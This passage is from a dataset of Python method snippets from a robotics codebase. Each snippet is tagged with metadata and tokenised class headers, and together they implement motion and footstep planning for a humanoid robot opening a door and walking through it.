self.addPlan(newPlan)", "metadata": "root.DoorDemo.planUnReach", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 358 }, { "content": " def planTuckArms(self):\n\n\n ikParameters = IkParameters(usePointwise=False, maxDegreesPerSecond=self.speedHigh)\n\n otherSide = 'left' if self.graspingHand == 'right' else 'right'\n\n startPose = self.getPlanningStartPose()\n\n standPose, info = self.ikPlanner.computeStandPose(startPose, ikParameters=ikParameters)\n\n q2 = self.ikPlanner.getMergedPostureFromDatabase(standPose, 'door', 'hand up tuck', side=otherSide)\n a = 0.25\n q2 = (1.0 - a)*np.array(standPose) + a*q2\n q2 = self.ikPlanner.getMergedPostureFromDatabase(q2, 'door', 'hand up tuck', side=self.graspingHand)\n a = 0.75\n q2 = (1.0 - a)*np.array(standPose) + a*q2\n\n endPose = self.ikPlanner.getMergedPostureFromDatabase(standPose, 'door', 'hand up tuck', side=self.graspingHand)\n endPose = self.ikPlanner.getMergedPostureFromDatabase(endPose, 'door', 'hand up tuck', side=otherSide)\n\n newPlan = self.ikPlanner.computeMultiPostureGoal([startPose, q2, endPose], ikParameters=ikParameters)\n self.addPlan(newPlan)", "metadata": "root.DoorDemo.planTuckArms", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 371 }, { "content": " def planTuckArmsPrePush(self):\n\n\n ikParameters = IkParameters(usePointwise=False, maxDegreesPerSecond=self.speedHigh)\n\n otherSide = 'left' if self.graspingHand == 'right' else 'right'\n\n startPose = self.getPlanningStartPose()\n\n standPose, info = self.ikPlanner.computeStandPose(startPose, ikParameters=ikParameters)\n\n q2 = self.ikPlanner.getMergedPostureFromDatabase(standPose, 'door', 'hand up tuck', side=self.graspingHand)\n a = 0.25\n q2 = (1.0 - a)*np.array(standPose) + a*q2\n q2 = self.ikPlanner.getMergedPostureFromDatabase(q2, 'door', 'hand up tuck', side=otherSide)\n a = 0.75\n q2 = (1.0 - a)*np.array(standPose) + a*q2\n\n endPose = self.ikPlanner.getMergedPostureFromDatabase(standPose, 'door', 'hand up tuck', side=self.graspingHand)\n endPose = self.ikPlanner.getMergedPostureFromDatabase(endPose, 'door', 'hand up tuck', side=otherSide)\n\n newPlan = self.ikPlanner.computeMultiPostureGoal([startPose, q2, endPose], ikParameters=ikParameters)\n self.addPlan(newPlan)", "metadata": "root.DoorDemo.planTuckArmsPrePush", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 395 }, { "content": " def planChop(self, deltaZ=None, deltaY=None, deltaX=None):\n\n startPose = self.getPlanningStartPose()\n\n if deltaZ is None:\n deltaZ = self.chopDistance\n if deltaY is None:\n deltaY = self.chopSidewaysDistance\n if deltaX is None:\n deltaX = 0.0\n\n linkOffsetFrame = self.ikPlanner.getPalmToHandLink(self.graspingHand)\n handLinkName = self.ikPlanner.getHandLink(self.graspingHand)\n startFrame = self.ikPlanner.getLinkFrameAtPose(handLinkName, startPose)\n endToStartTransform = transformUtils.frameFromPositionAndRPY([deltaZ, -deltaX, -deltaY],\n [0, 0, 0])\n endFrame = transformUtils.concatenateTransforms([endToStartTransform, startFrame]);\n vis.updateFrame(endFrame, 'debug chop', parent=self.doorHandleAffordance, visible=False, scale=0.2)\n palmToWorld1 = transformUtils.concatenateTransforms([linkOffsetFrame, startFrame])\n palmToWorld2 = transformUtils.concatenateTransforms([linkOffsetFrame, endFrame])\n\n constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand, palmToWorld2)\n constraintSet.nominalPoseName = 'q_start'\n constraintSet.ikParameters = IkParameters(usePointwise=False,\n maxDegreesPerSecond=self.speedLow,\n numberOfAddedKnots=2)\n\n endPose, info = constraintSet.runIk()\n\n\n motionVector = np.array(palmToWorld2.GetPosition()) - np.array(palmToWorld1.GetPosition())\n motionTargetFrame = transformUtils.getTransformFromOriginAndNormal(np.array(palmToWorld2.GetPosition()), motionVector)\n\n p = self.ikPlanner.createLinePositionConstraint(handLinkName, linkOffsetFrame, motionTargetFrame, lineAxis=2, bounds=[-np.linalg.norm(motionVector), 0.0], positionTolerance=0.001)\n constraintSet.constraints.append(p)\n\n plan = constraintSet.runIkTraj()\n self.addPlan(plan)", "metadata": "root.DoorDemo.planChop", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 420 }, { "content": " def stopPushing(self):\n startPose = self.getPlanningStartPose\n plan = self.robotSystem.ikPlanner.computePostureGoal(startPose, startPose)\n self.addPlan(plan)\n self.commitManipPlan()", "metadata": "root.DoorDemo.stopPushing", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 459 }, { "content": " def planReach(self, reachTargetFrame=None, jointSpeedLimit=None):\n\n if reachTargetFrame is None:\n reachTargetFrame = self.doorHandleReachFrame\n\n if jointSpeedLimit is None:\n jointSpeedLimit = self.speedLow\n\n startPose = self.getPlanningStartPose()\n constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand, reachTargetFrame)\n constraintSet.nominalPoseName = 'q_start'\n constraintSet.ikParameters = IkParameters(usePointwise=False,\n maxDegreesPerSecond=self.speedLow,\n numberOfAddedKnots=2)\n\n endPose, info = constraintSet.runIk()\n\n linkOffsetFrame = self.ikPlanner.getPalmToHandLink(self.graspingHand)\n handLinkName = self.ikPlanner.getHandLink(self.graspingHand)\n handToWorld1 = self.ikPlanner.getLinkFrameAtPose(handLinkName, startPose)\n handToWorld2 = self.ikPlanner.getLinkFrameAtPose(handLinkName, endPose)\n palmToWorld1 = transformUtils.concatenateTransforms([linkOffsetFrame, handToWorld1])\n palmToWorld2 = transformUtils.concatenateTransforms([linkOffsetFrame, handToWorld2])\n\n motionVector = np.array(palmToWorld2.GetPosition()) - np.array(palmToWorld1.GetPosition())\n motionTargetFrame = transformUtils.getTransformFromOriginAndNormal(np.array(palmToWorld2.GetPosition()), motionVector)\n\n p = self.ikPlanner.createLinePositionConstraint(handLinkName, linkOffsetFrame, motionTargetFrame, lineAxis=2, bounds=[-np.linalg.norm(motionVector), 0.0], positionTolerance=0.001)\n constraintSet.constraints.append(p)\n\n plan = constraintSet.runIkTraj()\n self.addPlan(plan)", "metadata": "root.DoorDemo.planReach", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 465 }, { "content": " def planPreChop(self):\n self.planReach(self.doorHandlePreChopFrame, self.speedHigh)", "metadata": "root.DoorDemo.planPreChop", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 498 }, { "content": " def createHingeConstraint(self, referenceFrame, axis, linkName, startPose, tspan=[0, 1]):\n\n constraints = []\n linkFrame = self.ikPlanner.getLinkFrameAtPose(linkName, startPose)\n\n #turnTransform = transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0], [-turnAngle, 0, 0])\n #turnTransform = vtkTransform()\n #turnTransform.RotateWXYZ(turnAngle, axis)\n #linkToReferenceTransfrom = tranformUtils.concatenateTransforms([linkFrame,\n #referenceFrame.transform.GetInverse()])\n #finalLinkFrame = transformUtils.concatenateTransforms([linkToReferenceTransfrom,\n #turnTransform,\n #referenceFrame.transform])\n def addPivotPoint(constraints, pivotPoint):\n constraints.append(ik.PositionConstraint())\n constraints[-1].linkName = linkName\n constraints[-1].referenceFrame = referenceFrame.transform\n constraints[-1].lowerBound = np.array(pivotPoint)\n constraints[-1].upperBound = np.array(pivotPoint)\n pivotPointInWorld = referenceFrame.transform.TransformDoublePoint(pivotPoint)\n constraints[-1].pointInLink = linkFrame.GetInverse().TransformDoublePoint(pivotPointInWorld)\n constraints[-1].tspan = tspan\n\n addPivotPoint(constraints, [0.0, 0.0, 0.0])\n addPivotPoint(constraints, axis)\n return constraints", "metadata": "root.DoorDemo.createHingeConstraint", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 502 }, { "content": " def planHandleTurn(self, turnAngle=None):\n\n doorSide = 1 if self.graspingHand == 'left' else -1\n if turnAngle is None:\n turnAngle = self.handleTurnAngle\n\n startPose = self.getPlanningStartPose()\n linkFrame = self.ikPlanner.getLinkFrameAtPose(self.ikPlanner.getHandLink(), startPose)\n\n finalGraspToReferenceTransfrom = transformUtils.concatenateTransforms(\n [self.ikPlanner.getPalmToHandLink(self.graspingHand), linkFrame,\n self.doorHandleAxisFrame.transform.GetInverse()])\n\n handleTurnTransform = transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0],\n [doorSide*turnAngle, 0, 0])\n doorHandleTurnFrame = transformUtils.concatenateTransforms([finalGraspToReferenceTransfrom,\n handleTurnTransform,\n self.doorHandleAxisFrame.transform])\n\n vis.updateFrame(doorHandleTurnFrame, 'debug turn', parent=self.doorHandleAffordance, visible=False, scale=0.2)\n constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand,\n doorHandleTurnFrame)\n\n constraintSet.ikParameters = IkParameters(usePointwise=False,\n maxDegreesPerSecond=self.speedLow,\n numberOfAddedKnots=2)\n constraintSet.nominalPoseName = 'q_start'\n endPose, info = constraintSet.runIk()\n constraints = constraintSet.constraints\n\n constraints.extend(self.createHingeConstraint(self.doorHandleAxisFrame, [1.0, 0.0, 0.0],\n self.ikPlanner.getHandLink(),\n constraintSet.startPoseName))\n constraints.append(self.ikPlanner.createLockedBasePostureConstraint(constraintSet.startPoseName))\n constraints.append(self.ikPlanner.createLockedBackPostureConstraint(constraintSet.startPoseName))\n constraints.extend(self.ikPlanner.createFixedFootConstraints(constraintSet.startPoseName))\n constraints.append(self.ikPlanner.createLockedArmPostureConstraint(constraintSet.startPoseName))\n\n plan = constraintSet.runIkTraj()\n\n self.addPlan(plan)", "metadata": "root.DoorDemo.planHandleTurn", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 530 }, { "content": " def planDoorPushOpen(self):\n\n ikParameters = IkParameters(usePointwise=False, maxDegreesPerSecond=15)\n\n nonGraspingHand = 'right' if self.graspingHand == 'left' else 'left'\n\n startPose = self.getPlanningStartPose()\n endPose = self.ikPlanner.getMergedPostureFromDatabase(startPose, 'door', 'smash', side=nonGraspingHand)\n\n newPlan = self.ikPlanner.computePostureGoal(startPose, endPose, ikParameters=ikParameters)\n self.addPlan(newPlan)", "metadata": "root.DoorDemo.planDoorPushOpen", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 572 }, { "content": " def planDoorPushOpenTwist(self):\n\n ikParameters = IkParameters(usePointwise=False, maxDegreesPerSecond=60)\n\n nonGraspingHand = 'right' if self.graspingHand == 'left' else 'left'\n\n startPose = self.getPlanningStartPose()\n endPose = self.ikPlanner.getMergedPostureFromDatabase(startPose, 'door', 'smash 2', side=nonGraspingHand)\n\n newPlan = self.ikPlanner.computePostureGoal(startPose, endPose, ikParameters=ikParameters)\n self.addPlan(newPlan)", "metadata": "root.DoorDemo.planDoorPushOpenTwist", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 584 }, { "content": " def planHandlePush(self):\n\n doorSide = 1 if self.graspingHand == 'left' else -1\n\n startPose = self.getPlanningStartPose()\n linkFrame = self.ikPlanner.getLinkFrameAtPose(self.ikPlanner.getHandLink(), startPose)\n\n finalGraspToReferenceTransfrom = transformUtils.concatenateTransforms(\n [self.ikPlanner.getPalmToHandLink(self.graspingHand), linkFrame,\n self.doorHingeFrame.transform.GetInverse()])\n\n handlePushTransform = transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0],\n [0, 0, -doorSide*self.handlePushAngle])\n doorHandlePushFrame = transformUtils.concatenateTransforms([finalGraspToReferenceTransfrom,\n handlePushTransform,\n self.doorHingeFrame.transform])\n\n vis.updateFrame(doorHandlePushFrame, 'debug push', parent=self.doorHandleAffordance, visible=False, scale=0.2)\n constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand,\n doorHandlePushFrame)\n\n constraintSet.ikParameters = IkParameters(usePointwise=False, maxDegreesPerSecond=self.speedLow)\n constraintSet.nominalPoseName = 'q_start'\n endPose, info = constraintSet.runIk()\n constraints = constraintSet.constraints\n\n constraints.extend(self.createHingeConstraint(self.doorHingeFrame, [0.0, 0.0, 1.0],\n self.ikPlanner.getHandLink(side=self.graspingHand),\n constraintSet.startPoseName))\n constraints.append(self.ikPlanner.createLockedBasePostureConstraint(constraintSet.startPoseName))\n #constraints.append(self.ikPlanner.createLockedBackPostureConstraint(constraintSet.startPoseName))\n constraints.extend(self.ikPlanner.createFixedFootConstraints(constraintSet.startPoseName))\n constraints.append(self.ikPlanner.createLockedArmPostureConstraint(constraintSet.startPoseName))\n\n plan = constraintSet.runIkTraj()\n\n self.addPlan(plan)", "metadata": "root.DoorDemo.planHandlePush", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 597 }, { "content": " def planHandlePushLift(self):\n\n self.planHandleTurn(-self.handleTurnAngle)", "metadata": "root.DoorDemo.planHandlePushLift", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 635 }, { "content": " def planDoorTouch(self):\n\n ikParameters = IkParameters(usePointwise=False, maxDegreesPerSecond=self.speedHigh)\n nonGraspingHand = 'right' if self.graspingHand == 'left' else 'left'\n\n startPose = self.getPlanningStartPose()\n endPose = self.ikPlanner.getMergedPostureFromDatabase(startPose, 'door', 'pre-smash', side=nonGraspingHand)\n\n newPlan = self.ikPlanner.computePostureGoal(startPose, endPose, ikParameters=ikParameters)\n self.addPlan(newPlan)", "metadata": "root.DoorDemo.planDoorTouch", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 657 }, { "content": " def planHandlePushOpen(self):\n\n startPose = self.getPlanningStartPose()\n constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand, self.doorHandlePushOpenFrame)\n constraintSet.ikParameters = IkParameters(usePointwise=False,\n maxDegreesPerSecond=self.speedLow,\n numberOfAddedKnots=2)\n\n endPose, info = constraintSet.runIk()\n plan = constraintSet.runIkTraj()\n\n self.addPlan(plan)", "metadata": "root.DoorDemo.planHandlePushOpen", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 668 }, { "content": " def planFootstepsToDoor(self):\n startPose = self.getPlanningStartPose()\n goalFrame = self.doorHandleStanceFrame.transform\n request = self.footstepPlanner.constructFootstepPlanRequest(startPose, goalFrame)\n self.footstepPlan = self.footstepPlanner.sendFootstepPlanRequest(request, waitForResponse=True)", "metadata": "root.DoorDemo.planFootstepsToDoor", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 682 }, { "content": " def planFootstepsThroughDoor(self):\n startPose = self.getPlanningStartPose()\n goalFrame = self.doorWalkFrame.transform\n request = self.footstepPlanner.constructFootstepPlanRequest(startPose, goalFrame)\n request.params.nom_step_width = 0.21\n self.footstepPlan = self.footstepPlanner.sendFootstepPlanRequest(request, waitForResponse=True)\n rt._addPlanItem(self.footstepPlan, 'door walk frame footstep plan', rt.FootstepPlanItem)", "metadata": "root.DoorDemo.planFootstepsThroughDoor", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 689 }, { "content": " def setFootstepThroughDoorParameters(self):\n\n bias = -0.02\n self.doorFootstepParams = FieldContainer(\n leadingFoot = 'right',\n preEntryFootWidth = -0.12 +bias,\n preEntryFootDistance = -0.6,\n entryFootWidth = 0.07 +bias,\n entryFootDistance = -0.26,\n exitFootWidth = -0.08 +bias,\n exitFootDistance = 0.12,\n exitStepDistance = 0.3,\n endStanceWidth = 0.26,\n numberOfExitSteps = 1,\n centerStepDistance = 0.26,\n centerStanceWidth = 0.20,\n centerLeadingFoot = 'right'\n )", "metadata": "root.DoorDemo.setFootstepThroughDoorParameters", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 698 }, { "content": " def setTestingFootstepThroughDoorParameters(self):\n self.doorFootstepParams = FieldContainer(\n endStanceWidth = 0.26,\n entryFootDistance = -0.26,\n entryFootWidth = 0.12,\n exitFootDistance = 0.12,\n exitFootWidth = -0.12,\n exitStepDistance = 0.3,\n leadingFoot = 'right',\n numberOfExitSteps = 1,\n preEntryFootDistance = -0.55,\n preEntryFootWidth = -0.12\n )", "metadata": "root.DoorDemo.setTestingFootstepThroughDoorParameters", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 717 }, { "content": " def getRelativeFootstepsThroughDoorWithSway(self):\n\n p = self.doorFootstepParams\n\n stepFrames = [\n\n [p.preEntryFootDistance, p.preEntryFootWidth, 0.0],\n [p.entryFootDistance, p.entryFootWidth, 0.0],\n [p.exitFootDistance, p.exitFootWidth, 0.0],\n\n ]\n\n for i in xrange(p.numberOfExitSteps):\n\n sign = -1 if (i%2) else 1\n stepFrames.append([p.exitFootDistance + (i+1)*p.exitStepDistance, sign*p.endStanceWidth/2.0, 0.0])\n\n lastStep = list(stepFrames[-1])\n lastStep[1] *= -1\n stepFrames.append(lastStep)\n\n #print '------------'\n #print 'step deltas:'\n #for a,b in zip(stepFrames, stepFrames[1:]):\n # print b[0] - a[0], b[1] - a[1]\n\n return FootstepRequestGenerator.makeStepFrames(stepFrames, relativeFrame=self.doorGroundFrame.transform, showFrames=False), p.leadingFoot", "metadata": "root.DoorDemo.getRelativeFootstepsThroughDoorWithSway", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 731 }, { "content": " def getRelativeFootstepsThroughDoorCentered(self):\n\n p = self.doorFootstepParams\n\n stepDistance = p.centerStepDistance\n stanceWidth = p.centerStanceWidth\n leadingFoot = p.centerLeadingFoot\n\n\n stepFrames = []\n for i in xrange(30):\n\n sign = -1 if leadingFoot is 'right' else 1\n if i % 2:\n sign = -sign\n\n stepX = (i+1)*stepDistance\n if stepX > 1.5:\n stepX = 1.5\n stepFrames.append([stepX, sign*stanceWidth/2.0, 0.0])\n\n if stepX == 1.5:\n break\n\n lastStep = list(stepFrames[-1])\n lastStep[1] *= -1\n stepFrames.append(lastStep)\n\n stepFrames[-1][1] = np.sign(stepFrames[-1][1])*(p.endStanceWidth/2.0)\n stepFrames[-2][1] = np.sign(stepFrames[-2][1])*(p.endStanceWidth/2.0)\n\n return FootstepRequestGenerator.makeStepFrames(stepFrames, relativeFrame=self.doorHandleStanceFrame.transform, showFrames=False), leadingFoot", "metadata": "root.DoorDemo.getRelativeFootstepsThroughDoorCentered", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 760 }, { "content": " def planManualFootstepsTest(self, stepDistance=0.26, stanceWidth=0.26, numberOfSteps=4, leadingFoot='right'):\n\n stepFrames = []\n for i in xrange(numberOfSteps):\n\n sign = -1 if leadingFoot is 'right' else 1\n if i % 2:\n sign = -sign\n\n stepFrames.append([(i+1)*stepDistance, sign*stanceWidth/2.0, 0.0])\n\n lastStep = list(stepFrames[-1])\n lastStep[1] *= -1\n stepFrames.append(lastStep)\n\n stanceFrame = FootstepRequestGenerator.getRobotStanceFrame(self.robotModel)\n stepFrames = FootstepRequestGenerator.makeStepFrames(stepFrames, relativeFrame=stanceFrame)\n startPose = self.getPlanningStartPose()\n\n helper = FootstepRequestGenerator(self.footstepPlanner)\n request = helper.makeFootstepRequest(startPose, stepFrames, leadingFoot)\n\n self.footstepPlanner.sendFootstepPlanRequest(request, waitForResponse=True)", "metadata": "root.DoorDemo.planManualFootstepsTest", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 794 }, { "content": " def planFootstepsThroughDoorManual(self):\n\n startPose = self.getPlanningStartPose()\n #stepFrames, leadingFoot = self.getRelativeFootstepsThroughDoorWithSway()\n stepFrames, leadingFoot = self.getRelativeFootstepsThroughDoorCentered()\n\n helper = FootstepRequestGenerator(self.footstepPlanner)\n request = helper.makeFootstepRequest(startPose, stepFrames, leadingFoot, numberOfFillSteps=2)\n\n self.footstepPlan = self.footstepPlanner.sendFootstepPlanRequest(request, waitForResponse=True)\n rt._addPlanItem(self.footstepPlan, 'door walk frame footstep plan', rt.FootstepPlanItem)", "metadata": "root.DoorDemo.planFootstepsThroughDoorManual", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 819 }, { "content": " def computeWalkingPlan(self):\n startPose = self.getPlanningStartPose()\n self.walkingPlan = self.footstepPlanner.sendWalkingPlanRequest(self.footstepPlan, startPose, waitForResponse=True)\n self.addPlan(self.walkingPlan)", "metadata": "root.DoorDemo.computeWalkingPlan", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 832 }, { "content": " def commitManipPlan(self):\n self.manipPlanner.commitManipPlan(self.plans[-1])", "metadata": "root.DoorDemo.commitManipPlan", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 838 }, { "content": " def fitDoor(self, doorGroundFrame):\n om.removeFromObjectModel(om.findObjectByName('affordances'))\n self.spawnDoorAffordance()\n affordanceFrame = om.findObjectByName('door ground frame')\n assert affordanceFrame is not None\n affordanceFrame.copyFrame(doorGroundFrame)\n\n om.findObjectByName('door').setProperty('Visible', False)", "metadata": "root.DoorDemo.fitDoor", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 841 }, { "content": " def showDoorHandlePoints(self, polyData):\n\n doorHandle = om.findObjectByName('door handle')\n door = om.findObjectByName('door')\n\n doorWidth = door.getProperty('Dimensions')[1]\n doorAxes = transformUtils.getAxesFromTransform(door.getChildFrame().transform)\n doorOrigin = np.array(door.getChildFrame().transform.GetPosition())\n\n handleAxes = transformUtils.getAxesFromTransform(doorHandle.getChildFrame().transform)\n handleOrigin = np.array(doorHandle.getChildFrame().transform.GetPosition())\n\n doorSide = 1 if self.graspingHand == 'left' else -1\n\n polyData = segmentation.cropToLineSegment(polyData, doorOrigin - doorAxes[0]*0.02, doorOrigin - doorAxes[0]*0.1)\n polyData = segmentation.cropToLineSegment(polyData, doorOrigin, doorOrigin + doorAxes[1]*(doorWidth*0.5-0.01)*doorSide)\n polyData = segmentation.cropToLineSegment(polyData, handleOrigin - handleAxes[2]*0.1, handleOrigin + handleAxes[2]*0.1)\n\n pointsName = 'door handle points'\n existed = om.findObjectByName(pointsName) is not None\n obj = vis.updatePolyData(polyData, pointsName, parent=doorHandle, color=[1,0,0])\n if not existed:\n obj.setProperty('Point Size', 10)", "metadata": "root.DoorDemo.showDoorHandlePoints", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 851 }, { "content": " def spawnDoorAffordance(self):\n\n groundFrame = self.computeGroundFrame(self.robotModel)\n\n doorOffsetX = 0.7\n doorOffsetY = 0.0\n\n doorGroundFrame = transformUtils.frameFromPositionAndRPY([doorOffsetX, 0.0, 0.0], [0.0, 0.0, 0.0])\n doorGroundFrame.PostMultiply()\n doorGroundFrame.Concatenate(groundFrame)\n\n stanceFrame = transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0], [0.0, 0.0, 0.0])\n stanceFrame.PostMultiply()\n stanceFrame.Concatenate(groundFrame)\n\n doorWalkFrame = transformUtils.frameFromPositionAndRPY([doorOffsetX + 0.6, 0.0, 0.0], [0.0, 0.0, 0.0])\n doorWalkFrame.PostMultiply()\n doorWalkFrame.Concatenate(groundFrame)\n\n\n doorWidth = 36 * 0.0254\n doorHeight = 81 * 0.0254\n doorDepth = 0.5 * 0.0254\n\n doorSide = 1 if self.graspingHand == 'left' else -1\n handleHeightFromGround = 35 * 0.0254\n handleDistanceFromEdge = 1.625 * 0.0254\n handleDistanceFromDoor = 1.75 * 0.0254\n handleLength = 4.125 * 0.0254\n handleDepth = 0.25 * 0.0254\n\n doorJamWidth = 0.5\n doorJamDepth = 4.5 * 0.0254\n\n\n handleFrame = transformUtils.frameFromPositionAndRPY([-handleDistanceFromDoor - doorDepth/2.0 - handleDepth/2, doorSide*(doorWidth/2.0 - handleDistanceFromEdge - handleLength/2.0), handleHeightFromGround], [0.0, 0.0, 0.0])\n handleFrame.PostMultiply()\n handleFrame.Concatenate(doorGroundFrame)\n\n\n doorFrame = transformUtils.frameFromPositionAndRPY([0.0, 0.0, doorHeight/2.0], [0.0, 0.0, 0.0])\n doorFrame.PostMultiply()\n doorFrame.Concatenate(doorGroundFrame)\n\n\n leftDoorJamFrame = transformUtils.frameFromPositionAndRPY([0.0, (doorWidth/2.0 + doorJamWidth/2.0), doorHeight/2.0], [0.0, 0.0, 0.0])\n leftDoorJamFrame.PostMultiply()\n leftDoorJamFrame.Concatenate(doorGroundFrame)\n\n rightDoorJamFrame = transformUtils.frameFromPositionAndRPY([0.0, -(doorWidth/2.0 + doorJamWidth/2.0), doorHeight/2.0], [0.0, 0.0, 0.0])\n rightDoorJamFrame.PostMultiply()\n rightDoorJamFrame.Concatenate(doorGroundFrame)\n\n\n\n desc = dict(classname='BoxAffordanceItem', Name='door handle',\n pose=transformUtils.poseFromTransform(handleFrame), Dimensions=[handleDepth, handleLength, 0.02], Color=[0.0, 1.0, 0.0])\n handleAffordance = segmentation.affordanceManager.newAffordanceFromDescription(desc)\n\n desc = dict(classname='BoxAffordanceItem', Name='door',\n pose=transformUtils.poseFromTransform(doorFrame), Dimensions=[doorDepth, doorWidth, doorHeight], Color=[0.5, 0.5, 0.5])\n doorAffordance = segmentation.affordanceManager.newAffordanceFromDescription(desc)\n\n desc = dict(classname='BoxAffordanceItem', Name='left door jam',\n pose=transformUtils.poseFromTransform(leftDoorJamFrame), Dimensions=[doorJamDepth, doorJamWidth, doorHeight], Color=[0.7, 0.0, 0.0])\n leftDoorJamAffordance = segmentation.affordanceManager.newAffordanceFromDescription(desc)\n\n desc = dict(classname='BoxAffordanceItem', Name='right door jam',\n pose=transformUtils.poseFromTransform(rightDoorJamFrame), Dimensions=[doorJamDepth, doorJamWidth, doorHeight], Color=[0.7, 0.0, 0.0])\n rightDoorJamAffordance = segmentation.affordanceManager.newAffordanceFromDescription(desc)\n\n\n doorGroundFrame = vis.showFrame(doorGroundFrame, 'door ground frame', parent=doorAffordance)\n stanceFrame = vis.showFrame(stanceFrame, 'door stance frame', parent=doorAffordance)\n\n doorWalkFrame = vis.showFrame(doorWalkFrame, 'door walk frame', visible=False, parent=doorAffordance)\n\n\n doorFrame = doorAffordance.getChildFrame()\n handleFrame = handleAffordance.getChildFrame()\n\n leftDoorJamFrame = leftDoorJamAffordance.getChildFrame()\n rightDoorJamFrame = rightDoorJamAffordance.getChildFrame()\n\n self.doorFrameSync = vis.FrameSync()\n self.doorFrameSync.addFrame(doorGroundFrame)\n self.doorFrameSync.addFrame(stanceFrame, ignoreIncoming=True)\n self.doorFrameSync.addFrame(doorWalkFrame, ignoreIncoming=True)\n self.doorFrameSync.addFrame(doorFrame, ignoreIncoming=True)\n self.doorFrameSync.addFrame(leftDoorJamFrame, ignoreIncoming=True)\n self.doorFrameSync.addFrame(rightDoorJamFrame, ignoreIncoming=True)\n\n self.doorHandleFrameSync = vis.FrameSync()\n self.doorHandleFrameSync.addFrame(doorFrame)\n self.doorHandleFrameSync.addFrame(handleFrame, ignoreIncoming=True)\n\n\n self.findDoorHandleAffordance()\n self.doorGroundFrame = doorGroundFrame\n self.doorHandleStanceFrame = stanceFrame\n self.doorWalkFrame = doorWalkFrame", "metadata": "root.DoorDemo.spawnDoorAffordance", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 876 }, { "content": " def findDoorHandleAffordance(self):\n\n self.doorHandleAffordance = om.findObjectByName('door handle')\n self.doorHandleFrame = self.doorHandleAffordance.getChildFrame()\n\n self.computeDoorHingeFrame()\n self.computeDoorHandleGraspFrame()\n #self.computeDoorHandleStanceFrame()", "metadata": "root.DoorDemo.findDoorHandleAffordance", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 979 }, { "content": " def getEstimatedRobotStatePose(self):\n return np.array(self.sensorJointController.getPose('EST_ROBOT_STATE'))", "metadata": "root.DoorDemo.getEstimatedRobotStatePose", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 989 }, { "content": " def getPlanningStartPose(self):\n if self.planFromCurrentRobotState:\n return self.getEstimatedRobotStatePose()\n else:\n if self.plans:\n return robotstate.convertStateMessageToDrakePose(self.plans[-1].plan[-1])\n else:\n return self.getEstimatedRobotStatePose()", "metadata": "root.DoorDemo.getPlanningStartPose", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 993 }, { "content": "class DoorImageFitter(ImageBasedAffordanceFit):\n\n", "metadata": "root.DoorImageFitter", "header": "['module', '___EOS___']", "index": 1005 }, { "content": " def __init__(self, doorDemo):\n ImageBasedAffordanceFit.__init__(self, numberOfPoints=1)\n self.doorDemo = doorDemo", "metadata": "root.DoorImageFitter.__init__", "header": "['class', 'DoorImageFitter', '(', 'ImageBasedAffordanceFit', ')', ':', '___EOS___']", "index": 1007 }, { "content": " def fit(self, polyData, points):\n stanceFrame = FootstepRequestGenerator.getRobotStanceFrame(self.doorDemo.robotModel)\n\n doorGroundFrame = segmentation.segmentDoorPlane(polyData, points[0], stanceFrame)\n self.doorDemo.fitDoor(doorGroundFrame)\n self.doorDemo.showDoorHandlePoints(polyData)", "metadata": "root.DoorImageFitter.fit", "header": "['class', 'DoorImageFitter', '(', 'ImageBasedAffordanceFit', ')', ':', '___EOS___']", "index": 1011 }, { "content": "class DoorTaskPanel(TaskUserPanel):\n\n\n\n\n\n\n\n\n\n", "metadata": "root.DoorTaskPanel", "header": "['module', '___EOS___']", "index": 1018 }, { "content": " def __init__(self, doorDemo):\n\n TaskUserPanel.__init__(self, windowTitle='Door Task')\n\n self.doorDemo = doorDemo\n\n self.fitter = 